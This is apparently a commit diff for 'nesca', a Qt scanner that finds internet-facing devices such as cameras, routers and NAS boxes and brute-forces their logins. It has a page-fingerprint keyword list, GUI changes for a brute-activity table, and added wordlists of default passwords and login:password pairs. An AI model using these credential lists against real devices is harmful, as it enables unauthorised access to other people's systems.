netsafe utm
netsurveillance
nettalk
netvideo
newocx
nicht aufgeschaltet
no web site
no site on this
nothing to see
nothing here
not authorized to view
nuuo network video recorder
nuuo web
ntt docomo
nvr
no longer available
o nas
obs-helper/menu.jsp
official site
olvido su password
oncell warning
one time payment
one web server
Welcome to nginx
online dating
online store
oracle application server
our partners
outlook web
oma domain
on varattu
opening soon
openwebmail
Directory Listing Denied
page=about
pagos
CodeIgniter
parkerad
paradox ip module
parallels confixx
parallels operations automation default
parent.location=
partners
paypal
pharmacy
phone system
phpmyadmin
pills
place holder
placeholder
plakaty
platinbox
please login
plesk
poker
polycom '+model
por internet
portada
portal de
postinfo.html
price
prikol
privacy policies
virtual private server
pro-agro apm
produc
produtos
symfony-project
professions
sonicwall
promo
product_id
presentation page
qnap turbo nas
Qloud Server
read more
redirect server
redmine
reserviert
reg.demos.ru
register now
registrato
register your domain
registrarse
reklam
related searches
relatives
relaxcms.com
remote access controller
remote monitoring system
remote video surveillance
reserved domain
residential gateway login
restaurant
redevelopment
rpauth.html
rpsys.html
ruby on rails
ru-center
rss buddy
roundcube
s.r.l.
sakura internet
sabnzbd
samsung digital
sapphire journal
sbuilder.ru
scam_2nd.sis
search.
searchnut.com
searchpage.aspx
searchremagnified
secure login page
securepaynet
selectkind.html
server application error
server default page
servicio
shared ip
sign in now
silverlight
sistema fenix
sistemas
site offline
site_manager
site just created
sitemap
site is not
site_map
saitmap
stay tuned
sitio no encontrado
software is running
skidki
skip intro
small business
smart switch login
smartermail
snom
sign up
sonicwall - authentication
spa configuration
speed test
speedtouch
sport
skype:
src/login.php
ssl-vpn/login.esp
standalone dvr
statcounter
status.stm
strona w przygotowaniu
subsonic
sugarcrm
sun java system
workplace
workspace
Under Constraction
Mobile NAS Router
sunny webbox
supporto
strona w konstrukcji
surgeblog
Apache Error
suspended domain
suspendedpage
switch administrator
sww link
synology
taobao
TopPageFinder.com
Sun Microsystems, Inc
421 Service is unavailable
Echo Service
CareerVision
teamportal
teamviewer
AW+ GUI Applet
Technotree Web
SI-TEC
desknet
technical support
teles.igate
tellion
tell
tell.
TEL(
fax(
Web Management Login
IBM HTTP Server
no server available
tell:
tell :
tel/
fax/
tel
tel.
tel :
tel:
tel?
tel ?
tel)
AirLibro
fax?
fax ?
termos de uso
TP-LINK Wireless
RT-N
RT-G
dir320
underconstr
test page
has been banned
the best place
the best search
the leading
the page is not
the web server is running
this object has moved
this website is not configured
thomson gateway
to log in
tomza
touchstone status
townet 108-30-su
tralix
transfervolumen
trixbox
try again later
tutorial
twitter
Tlf.
mailto:
WJND300
Home Page
temporar in mentenanta
under maintanence
under-construction
under construct
under development
under konstruktion
under maintenance
unimep station controller
unsub pag
upnp devices
url could not be retrieved
unohditko salasanan
value domain
verizon
verwaltungskonsole
viagra
visualsvn
voice-over-ip
voip gateway
voip web
velkommen
vood
visit us
varaa itsellesi
w@de
wade
web applications
web console
web device manager
web frontend
web hosting
web remote access
web server setup guide
web site creator
webage unavailable
website does not exist
web-based configurator
webcamx
webconfig
webcontrol
webguard login
webrom
website is currently
webui administration
webview
webmail
welcome.do
web development
wimax
window.location = "/ui"
windows home server
windows server
windows small business server
winkelwagen
wordpress
wowza
www.microsoft.com
www.ibm.com
www.lacie.com
www.sedo.com
xenserver
CommuniGate Pro
MACROSCOP
Áóõãàëòåð
áþäæåò
Welcome to WildFly
Welcome to jboss
VoIP Router
Can't connect to
xfinity
ñòðîé
ñòðîèò
VoIP Telephone
This site requires JavaScript
xtreamer
yahoo
you are not logged in
your explorer is no support frame
your website
yweb
wkrotce
àçàðòíûå èãðû
àêêîðäû
àíåêäîò
àïòåê
àðõèâ íîâîñòåé
â ñòàäèè ðàçðàáîòêè
â ðàçðàáîòêå
ôèëüì
film
Íå óäàåòñÿ îòîáðàçèòü ñòðàíèöó
page does not exist
ïðàâà çàùèùåíû
äà÷
äåøåâ
äåø¸â
pm2-web
äîñòàâêà
çàêàç
öåíà
çàðàáîòîê â ñåòè
çíàêîìñòâà
èñòåê ñðîê
êàðèêàòóð
êîíêóðñ
êîíòàêòû
êóõíè
ãëàâíàÿ ñòðàíèöà
ëè÷íûé êàáèíåò
ëîòåðå
ìåæäóíàðîäí
ìîäà
ìû ïðåäîñòàâëÿåì
íà ðåêîíñòðóêöèè
ïîçæå
íàéòè ðàáîòó
íàõîäèòñÿ â ðàçðàáîòêå
íàø áàííåð
êîìïàíè
íèçêèå öåíû
Íåêîððåêòíûé URL
Íåâîçìîæíî ïîäêëþ÷èòüñÿ
íîâûé àäðåñ
ìàãàç
î íàñ
îñòåâ
ïàðòíåðê
ïåðåâîä òåêñòîâ
ïåðååõà
ïåðñîíàëüíûé ñàéò
ïèøè
ïîäåðæàí
îòêëþ÷åí
ïðîôèëàêòè÷åñêèå ðàáîòû
âðåìåííûå íåóäîáñòâà
Íåâåðíûé êëþ÷
Seo
ïîäïèñàòüñÿ
ïîèñê ðàáîòû
ïðèêîë
ïðîäóêöèÿ
ïðîèçâîäñòâ
ïðîöåñ³ ðîçðîáêè
ðàáîòà â èíòåðíåòå
ðåãèñòðàöèè äîìåííûõ
ðåêëàìíûå ññûëêè
ðåìîíò
ñàéò â ðàçðàáîòêå
ñàéò íåäîñòóïåí
ñàéò êëàíà
ñêîðî çàïóñòèòñÿ
ñàéò íà ðàçðàáîòêå
ñâÿçü ñ íàìè
ñêèäê
ðàñêðóò
ñêîðî îòêðûòèå
ñëóæáà ïîääåðæêè
ñîçäàíèå íåäîðîãèõ ñàéòîâ
ñîçäàíèå ñàéòîâ
ñïîíñîðû
ñòàðòîâàÿ ñòðàíè
ñòèõè
òåñòîâàÿ ñòðàíè
òåõíè÷åñêèå ðàáîòû
óñëóãè
ôëåøêè
îøèáêà
íà õîñòèíãå
Fatal error:
mc.yandex.ru
UNKNOWN HOST
Ñàéò çàêðûò
?partner
õîêêå
äîáðî ïîæàëîâàòü â
ñòàòóñû
âûñêàçûâàíè
ôëýøêè
ôóòáîë
þìîð
íîâîñòè
íà ðåêîíñòðóêöèè
îáíîâëåíèå ñàéòà
îôèñ
þðèäè÷
ñòðàíèöà íå íàéäåíà
ïðîäà

File diff suppressed because it is too large Load Diff

View File

@ -18,6 +18,10 @@
#include <qtextcodec.h>
#include <libssh/libssh.h>
#include <QStringListModel.h>
#include <QStandardItemModel.h>
#include <QList.h>
extern Ui::nesca_3Class *ui;
extern bool widgetIsHidden, QOSWait,
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
@ -28,18 +32,21 @@ extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
extern QList<int> lstOfLabels;
extern QSystemTrayIcon *tray;
extern QStandardItemModel *BAModel;
class nesca_3 : public QMainWindow
{
Q_OBJECT
public:
nesca_3(QWidget *parent = 0);
nesca_3(bool isWM, QWidget *parent);
~nesca_3();
void ConnectEvrthng();
void ChangeLabelIpRange_Value(QString str);
void ChangeLabelIPS_Value(QString str);
void newListItem(QString str);
static int addBARow(QString ip, QString loginPass, QString percentage);
public:
static int perc;
@ -58,6 +65,8 @@ protected:
void ChangePingerOK(bool val);
void changeNSTrackLabel(bool status);
void slotPBUpdate();
void slotPB2Update();
void slotPB2DrawPointer(int pointer);
void DNSLine_ValueChanged();
void slotShowRedVersion();
void slotTabChanged(int index);
@ -112,12 +121,13 @@ protected:
void appendDebugText(QString str);
void appendNotifyText(QString str);
void appendDefaultText(QString str);
void appendGreenBAData(QString str);
void appendRedBAData(QString str);
void STTTerminate();
void drawVerboseArcs(unsigned long gTargets);
void finishLoading();
void slotBlockButtons(bool value);
//BA TablelistView
void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
private:
QPoint dragPosition;
};
@ -129,6 +139,85 @@ public:
public:
void contextMenuEvent(QContextMenuEvent *event);
};
class PekoWidget : public QWidget
{
Q_OBJECT;
public:
static int m_xPos;
static int m_yPos;
static int m_windowCounter;
static int offset;
PekoWidget(QWidget *parent = 0) : QWidget(parent)
{
}
PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
{
offset = 5;
setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
installEventFilter(this);
setStyleSheet(
"background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
if (m_xPos >= 1200) {
m_xPos = 305;
offset += 5;
}
setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
if (m_windowCounter++ < 3) {
m_yPos += 200 + offset;
}
else {
m_windowCounter = 0;
m_xPos += 305;
m_yPos = 0;
}
};
protected:
bool switchWindows;
void paintEvent(QPaintEvent *e)
{
QPainter painter(this);
painter.setPen(QColor(255, 255, 255, 60));
painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
QWidget::paintEvent(e);
}
void mousePressEvent(QMouseEvent *evt)
{
switchWindows = false;
if (evt->button() == Qt::LeftButton)
{
switchWindows = true;
oldPos = evt->globalPos();
evt->accept();
}
else if (evt->button() == Qt::RightButton)
{
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
this->hide();
};
}
void mouseMoveEvent(QMouseEvent *evt)
{
switchWindows = false;
const QPoint delta = evt->globalPos() - oldPos;
move(x() + delta.x(), y() + delta.y());
oldPos = evt->globalPos();
}
void mouseReleaseEvent()
{
if (switchWindows)
{
switchWindows = false;
};
}
private:
QPoint oldPos;
};
class PopupMsgWidget : public QWidget
{
Q_OBJECT

View File

@ -1,6 +1,7 @@
<RCC>
<qresource prefix="/nesca_3">
<file>small_font.ttf</file>
<file>xc.jpg</file>
<file>nesca.ico</file>
</qresource>
</RCC>

Binary file not shown.

View File

@ -963,7 +963,28 @@ color: rgb(214, 214, 0);</string>
<widget class="QGraphicsView" name="pbgv">
<property name="geometry">
<rect>
<x>437</x>
<x>451</x>
<y>20</y>
<width>26</width>
<height>102</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color:rgb(38, 38, 38);
border: 1px solid rgb(227, 227, 227);
border-radius: 3px;</string>
</property>
<property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
</widget>
<widget class="QGraphicsView" name="pbgv_2">
<property name="geometry">
<rect>
<x>420</x>
<y>20</y>
<width>26</width>
<height>102</height>
@ -1640,6 +1661,9 @@ border-radius: 3px;</string>
</property>
</widget>
<widget class="QTextBrowser" name="dataText">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>20</x>
@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelStatus">
<property name="geometry">
<rect>
<x>19</x>
<y>783</y>
<width>41</width>
<height>10</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>Status:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelStatus_Value">
<property name="geometry">
<rect>
<x>58</x>
<y>783</y>
<width>101</width>
<height>10</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Idle</string>
</property>
</widget>
<widget class="QLabel" name="labelTargetsLeft">
<property name="geometry">
<rect>
@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Anomalies</string>
<string>Cameras</string>
</property>
<property name="textFormat">
<enum>Qt::AutoText</enum>
@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Suspicious</string>
<string>Other</string>
</property>
</widget>
<widget class="QLabel" name="labelBads">
@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>WebForms</string>
<string>--</string>
</property>
</widget>
<widget class="QLabel" name="labelOverloads">
@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Lowloads</string>
<string>--</string>
</property>
</widget>
<widget class="QPushButton" name="logoLabel">
@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
<set>QGraphicsView::CacheNone</set>
</property>
</widget>
<widget class="QTextBrowser" name="BAText">
<property name="geometry">
<rect>
<x>20</x>
<y>445</y>
<width>453</width>
<height>326</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;</string>
</property>
<property name="locale">
<locale language="Chinese" country="China"/>
</property>
<property name="frameShape">
<enum>QFrame::NoFrame</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Plain</enum>
</property>
<property name="undoRedoEnabled">
<bool>false</bool>
</property>
<property name="readOnly">
<bool>true</bool>
</property>
<property name="html">
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property>
<property name="cursorWidth">
<number>5</number>
</property>
<property name="textInteractionFlags">
<set>Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse</set>
</property>
<property name="openExternalLinks">
<bool>true</bool>
</property>
</widget>
<widget class="QPushButton" name="switcherBut">
<property name="geometry">
<rect>
<x>480</x>
<y>500</y>
<x>475</x>
<y>467</y>
<width>16</width>
<height>205</height>
<height>21</height>
</rect>
</property>
<property name="font">
@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
<string>Brute activity</string>
</property>
<property name="styleSheet">
<string notr="true">border: 1px solid rgb(216, 216, 216);
color: rgb(216, 216, 216);
background-color: #000000;</string>
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>&lt;</string>
</property>
</widget>
<widget class="QLabel" name="labelTracker">
<property name="geometry">
<rect>
<x>200</x>
<y>783</y>
<width>45</width>
<height>10</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>NS-Track:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QGraphicsView" name="graphicActivityGrid">
<property name="geometry">
<rect>
@ -3026,8 +2896,8 @@ background-color: #000000;</string>
</property>
<property name="geometry">
<rect>
<x>249</x>
<y>785</y>
<x>456</x>
<y>0</y>
<width>8</width>
<height>8</height>
</rect>
@ -3039,7 +2909,7 @@ background-color: #000000;</string>
</font>
</property>
<property name="styleSheet">
<string notr="true">background-color: black; border: 1px solid white;</string>
<string notr="true">background-color: black; border: 1px solid #313131;</string>
</property>
<property name="text">
<string/>
@ -3127,15 +2997,98 @@ background-color: #000000;</string>
<string>✔:</string>
</property>
</widget>
<widget class="QLineEdit" name="currentDirectoryLine">
<property name="geometry">
<rect>
<x>20</x>
<y>780</y>
<width>351</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<pointsize>7</pointsize>
</font>
</property>
<property name="mouseTracking">
<bool>false</bool>
</property>
<property name="focusPolicy">
<enum>Qt::NoFocus</enum>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string/>
</property>
<property name="frame">
<bool>false</bool>
</property>
<property name="readOnly">
<bool>true</bool>
</property>
</widget>
<widget class="QTableView" name="BATableView">
<property name="geometry">
<rect>
<x>20</x>
<y>445</y>
<width>453</width>
<height>326</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">background-color: rgb(26, 26,26); border: 1px solid white;</string>
</property>
<property name="locale">
<locale language="English" country="UnitedStates"/>
</property>
<property name="frameShape">
<enum>QFrame::NoFrame</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Plain</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="selectionMode">
<enum>QAbstractItemView::SingleSelection</enum>
</property>
<property name="selectionBehavior">
<enum>QAbstractItemView::SelectRows</enum>
</property>
<property name="cornerButtonEnabled">
<bool>false</bool>
</property>
<attribute name="horizontalHeaderVisible">
<bool>false</bool>
</attribute>
<attribute name="verticalHeaderVisible">
<bool>false</bool>
</attribute>
<attribute name="verticalHeaderDefaultSectionSize">
<number>20</number>
</attribute>
<attribute name="verticalHeaderMinimumSectionSize">
<number>10</number>
</attribute>
</widget>
<zorder>BATableView</zorder>
<zorder>graphicTextPlacer</zorder>
<zorder>BAText</zorder>
<zorder>labelNesca_3</zorder>
<zorder>tabMainWidget</zorder>
<zorder>line</zorder>
<zorder>exitButton</zorder>
<zorder>dataText</zorder>
<zorder>labelStatus</zorder>
<zorder>labelStatus_Value</zorder>
<zorder>line_2</zorder>
<zorder>RedLabel</zorder>
<zorder>YellowLabel</zorder>
@ -3159,7 +3112,6 @@ background-color: #000000;</string>
<zorder>graphicLog_2</zorder>
<zorder>graphicLog_Upper</zorder>
<zorder>switcherBut</zorder>
<zorder>labelTracker</zorder>
<zorder>graphicActivityGrid</zorder>
<zorder>graphicActivity</zorder>
<zorder>VoiceScanBut</zorder>
@ -3188,6 +3140,7 @@ background-color: #000000;</string>
<zorder>labelRunningThreads</zorder>
<zorder>labelSavedValue</zorder>
<zorder>labelSaved</zorder>
<zorder>currentDirectoryLine</zorder>
</widget>
<widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry">

View File

@ -0,0 +1,54 @@
12345
root
admin
password
123456
1234
123123
pass
qwerty
meinsm
monitor
user
support
test
sysadm
admin123
Admin
123321
12344321
toor
qwerty123
1q2w3e4r
987654321
system
111111
1111
654321
54321
!@#$%^
0000
000000
master
12345678
666666
888888
88888888
777777
555555
123321123
222222
333333
444444
999999
111222333
123123123
123454321
0123456789
qqqqqq
administrator
backup
super
ubnt

View File

@ -11,14 +11,14 @@ void PieStat::run()
while(PieStatFlag)
{
psTh->doEmitUpdatePie();
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
ssh = 0;
msleep(500);
};

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,29 @@
hw230f8034t:17932yhf823
admin:
root:root
root:admin
admin:admin
admin:root
backup:backup
guest:guest
root:master
root:1234
admin:master
admin:111111
root:12345
root:123456
admin:1234
admin:12345
root:12345678
root:123123
admin:123456
admin:12345678
root:654321
admin:123123
admin:654321
root:password
admin:pasword
root:1qazXSW@
test:test
:
user:user

View File

@ -1 +1 @@
24BE5-713
24D18-81

View File

@ -0,0 +1,3 @@
[FAIL]
admin
root

View File

@ -0,0 +1,10 @@
[FAIL]
admin
root
pass
password
toor
123123
123456
12345
qwerty